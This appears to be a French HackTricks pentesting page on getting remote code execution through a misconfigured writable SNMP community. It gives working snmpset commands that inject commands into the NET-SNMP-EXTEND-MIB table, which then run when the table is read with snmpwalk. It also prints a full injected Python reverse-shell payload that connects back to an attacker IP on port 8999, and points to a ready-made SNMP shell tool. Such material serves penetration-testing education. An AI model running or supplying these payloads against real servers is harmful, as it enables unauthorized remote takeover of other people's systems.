tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
SNMP RCE
SNMP peut ĂȘtre exploitĂ© par un attaquant si l'administrateur nĂ©glige sa configuration par dĂ©faut sur le dispositif ou le serveur. En abusant de la communautĂ© SNMP avec des permissions d'Ă©criture (rwcommunity) sur un systĂšme d'exploitation Linux, l'attaquant peut exĂ©cuter des commandes sur le serveur.
Ătendre les services avec des commandes supplĂ©mentaires
Pour Ă©tendre les services SNMP et ajouter des commandes supplĂ©mentaires, il est possible d'ajouter de nouvelles lignes Ă la table "nsExtendObjects". Cela peut ĂȘtre rĂ©alisĂ© en utilisant la commande snmpset
et en fournissant les paramÚtres nécessaires, y compris le chemin absolu vers l'exécutable et la commande à exécuter :
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Injection de commandes pour exécution
Injecter des commandes à exécuter sur le service SNMP nécessite l'existence et l'exécutabilité du binaire/script appelé. Le NET-SNMP-EXTEND-MIB
impose de fournir le chemin absolu vers l'exécutable.
Pour confirmer l'exécution de la commande injectée, la commande snmpwalk
peut ĂȘtre utilisĂ©e pour Ă©numĂ©rer le service SNMP. La sortie affichera la commande et ses dĂ©tails associĂ©s, y compris le chemin absolu :
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Exécution des Commandes Injectées
Lorsque la commande injectée est lue, elle est exécutée. Ce comportement est connu sous le nom de run-on-read()
. L'exĂ©cution de la commande peut ĂȘtre observĂ©e lors de la lecture avec snmpwalk.
Obtention d'un Shell Serveur avec SNMP
Pour prendre le contrĂŽle du serveur et obtenir un shell serveur, un script python dĂ©veloppĂ© par mxrch peut ĂȘtre utilisĂ© depuis https://github.com/mxrch/snmp-shell.git.
Alternativement, un shell inversĂ© peut ĂȘtre crĂ©Ă© manuellement en injectant une commande spĂ©cifique dans SNMP. Cette commande, dĂ©clenchĂ©e par le snmpwalk, Ă©tablit une connexion de shell inversĂ© Ă la machine de l'attaquant, permettant le contrĂŽle de la machine de la victime. Vous pouvez installer les prĂ©requis pour exĂ©cuter cela :
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Ou un shell inversé :
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.